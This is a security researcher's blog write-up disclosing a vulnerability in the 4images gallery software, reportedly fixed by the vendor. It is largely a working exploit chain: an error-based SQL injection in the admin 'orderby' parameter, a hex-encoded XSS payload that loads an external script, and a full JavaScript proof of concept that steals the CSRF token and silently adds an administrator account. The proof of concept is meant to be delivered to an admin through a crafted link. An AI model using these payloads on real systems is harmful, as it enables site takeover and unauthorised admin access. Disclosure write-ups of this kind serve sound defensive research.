4images <= 1.7.13 Sql injection / Administrator add exploit

November 2, 2016

Intro

From vendor website

4images is a powerful web-based image gallery management system. Features include comment system, user registration and management, password protected administration area with browser-based upload and HTML templates for page layout and design.

4images < 1.7.13 is vulnerable to sql injection flaw which can be escalated in various methods to higher access over the vulnerable host

In this write up I will demonstrate my own escalation to add new administrator account.

There are multiple sql injection flaws inside administrator panel , but most of them in POST requests

POST inputs are protected by good anti csrf function which mean it suppose to require admin interaction to add the injection payload himself in order to get executed

file includes/csrf_utils.php

74function csrf_check($use_show_error = false) {
75    global $HTTP_SERVER_VARS, $HTTP_POST_VARS, $site_sess, $csrf_protection_name, $csrf_protection_expires;
76
77    if ($HTTP_SERVER_VARS['REQUEST_METHOD'] !== 'POST') {
78        return;
79    }
80
81    if (isset($HTTP_POST_VARS[$csrf_protection_name])) {
82        $session = $site_sess->get_session_var($csrf_protection_name);
83
84        if (!is_array($session)) {
85            return false;
86        }
87
88        $found = false;
89
90        foreach ($session as $token => $time) {
91            if (!secure_compare($token, (string) $HTTP_POST_VARS[$csrf_protection_name])) {
92                continue;
93            }
94
95            if ($csrf_protection_expires) {
96                if (time() <= $time + $csrf_protection_expires) {
97                    $found = true;
98                } else {
99                    unset($session[$token]);
100                }
101            } else {
102                $found = true;
103            }
104
105            break;
106        }
107
108        $site_sess->set_session_var($csrf_protection_name, $session);
109
110        if ($found) {
111            return;
112        }
113    }
114
115    header($HTTP_SERVER_VARS['SERVER_PROTOCOL'] . ' 403 Forbidden');
116
117    if ($use_show_error) {
118        csrf_rewrite();
119        show_error_page('CSRF check failed.');
120    } else {
121        echo "<html><head><title>CSRF check failed</title></head><body>CSRF check failed.</body></html>";
122        exit;
123    }
124}

it’s obvious that the check happen only when the request type is POST
so our best bet is to find an injection flaw inside a GET request , inject an xss payload using it , bypass the csrf protection and gain admin access to the host

Vulnerability

file : admin/validateimages.php

329  if (isset($HTTP_GET_VARS['orderby']) || isset($HTTP_POST_VARS['orderby'])) {
330    $orderby = (isset($HTTP_GET_VARS['orderby'])) ? stripslashes(trim($HTTP_GET_VARS['orderby'])) : stripslashes(trim($HTTP_POST_VARS['orderby']));
331  }
332  else {
333    $orderby = "i.image_date";
334  }
a lot and a lot of lines , then at the same file

406    $sql = "SELECT i.image_id, i.cat_id, i.user_id, i.image_name, i.image_date, i.image_media_file".get_user_table_field(", u.", "user_name")."
407            FROM ".IMAGES_TEMP_TABLE." i
408            LEFT JOIN ".USERS_TABLE." u ON (".get_user_table_field("u.", "user_id")." = i.user_id)
409            WHERE $condition
410            ORDER BY $orderby $direction
411            LIMIT $limitstart, $limitnumber";
412    $result = $site_db->query($sql);
the input parameter orderby is being passed to the sql query without any prior sanitization at line 410
Exploiting this as error based injection (Using administrator account of course) will be just as following

GET /lab/4images1.7.13/4images/admin/validateimages.php?action=validateimages&orderby=extractvalue(1,concat(0x7e,version()))&direction=ASC&limitnumber=10

will get the following in the response

Alot of html . . . .
td class="tableseparator">Options</td>
</tr>
<br /><font color='#FF0000'><b>DB Error</b></font>: <b>Bad SQL Query</b>: SELECT i.image_id, i.cat_id, i.user_id, i.image_name, i.image_date, i.image_media_file, u.user_name
            FROM 4images_images_temp i
            LEFT JOIN 4images_users u ON (u.user_id = i.user_id)
            WHERE 1=1
            ORDER BY extractvalue(1,concat(0x7e,version())) ASC
            LIMIT 0, 10<br /><b>XPATH syntax error: '<span style="color: #ff0000;">~5.5.25a</span>'</b><br /><tr class="tablefooter">
<td colspan="8" align="center">
&nbsp;<input type="submit" value="   Submit   " class="button">
<input type="reset" value="   Reset   " class="button">
&nbsp;
Few HTML

Great ,now we can inject any string instead of version() , just make sure it’s hex encoded.
The plan is

  1. Execute xss payload that load an external js file
  2. the external js file load users page , grab the csrf token
  3. same file will use the grabbed token and submit new administrator’s data from the same browser session
  4. we are done

the problem is that extract value output is limited to 32 char length
to load and execute external js file we will use the classic payload <script src=”//blah.com/blah.js”></script> which wont work due to the length limitation

I tried few payloads to load AND execute the js but nth worked with me , got bored , thought about injecting using different method but actually I prefered to keep stuck with that injection and length limitation

XSS limitation bypass

after few tries and a lot of questions to @brutelogic I made it
Using the following payload Just made the trick

http://localhost/lab/4images1.7.13/4images/admin/validateimages.php?action=validateimages&orderby=extractvalue(1,concat(0x3c7376672f6f6e6c6f61643d6576616c28222f2a222b55524c293e))&direction=ASC
&limitnumber=10#*/with(document)body.appendChild(createElement(/script/.source)).src=atob(/Ly9sb2NhbGhvc3QveC5qcw==/.source)

fast explanation the hex part 0x3c7376672f6f6e6c6f61643d6576616c28222f2a222b55524c293e is the hex encoded value of <svg/onload=eval("/*"+URL)>
the after Hashtag part */with(document)body.appendChild(createElement(/script/.source)).src=atob(/Ly9sb2NhbGhvc3QveC5qcw==/.source) is the js code that will be passed to the eval() func and then load/execute the base64 encoded string which represent the js URL //localhost/x.js in our case -> Ly9sb2NhbGhvc3QveC5qcw==
If you need more detailed explanation , Here it is
http://brutelogic.com.br/blog/avoiding-xss-detection/

Bypassing CSRF protection

Now by our js file is really to be loaded and executed , all is left is to get through the anti csrf

1st we need to get the users page csrf token (which is changed every request) just by loading GET users.php?action=addusers via XMLHttprequest

2nd we will obtain the csrf token from the response

3rd submitting the new admin details to the users page

Full POC

var http = new XMLHttpRequest();
//var http2 = new XMLHttpRequest();
//generating CSRF token via loading users page
var url = "users.php?action=addusers";
http.open("GET", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.onload = function() {
    if(http.status == 200) {
		var str=http.responseText;
		//grabbing the csrf token
		var subStr = str.match('<input type="hidden" name="__csrf" value="(.*)" />');
		token=subStr[1]
		alert("CSRF_TOKEN = "+token);
		var x4148final = new XMLHttpRequest();
		var x4148req = new FormData();    
		//appending token
		x4148req.append( '__csrf', token);
		x4148req.append( 'action', 'saveusers' );
		x4148req.append( 'num', '1' );
		x4148req.append( 'user_level_1', '9' );
		x4148req.append( 'user_name_1', '0x418fo' );
		x4148req.append( 'user_email_1', '[email protected]' );
		x4148req.append( 'user_password_1', '0x418fo' );
		x4148req.append( 'user_homepage_1', '' );
		x4148req.append( 'user_icq_1', '' );
		x4148req.append( 'user_showemail_1', '0' );
		x4148req.append( 'user_allowemails_1', '0' );
		x4148req.append( 'user_invisible_1', '1' );
		x4148req.append( 'num_newusers', '1' );
		var x4148form = new XMLHttpRequest();
		x4148form.open("POST", "users.php");
		x4148form.send(x4148req);
                x4148form.onload = function () {
                    if (x4148form.readyState === 4) {
                        console.log(x4148form.response);
                        myresponse = x4148form.response;
						alert('done ;)');
                    }
                };
		//adding new admin
		x4148final.send();
    }
}
http.send();

Now all the attacker need is to make an iframe to the exploitation URL , URL shorter service or even redirecting a domain to the exploitation URL
sending to admin and that’s it
Video

Conclusion

As usual , never underestimate the risk of any vulnerability
What ever hardening / security is there , underestimating or ignoring sanitization of only one input by the pretext of “Oh , never mind , it require authentication so leave it exposed” will ruin it all
4images team really care about their product security , I mean vuln reported , reviewed and fixed within less than 1 day
Special thanks to the Brute for giving a hand with the xss part
Also to Ahmed allaa & Aboul-ela for the continuous spiritual and technical support

Till next time,
Ahmed


comments powered by Disqus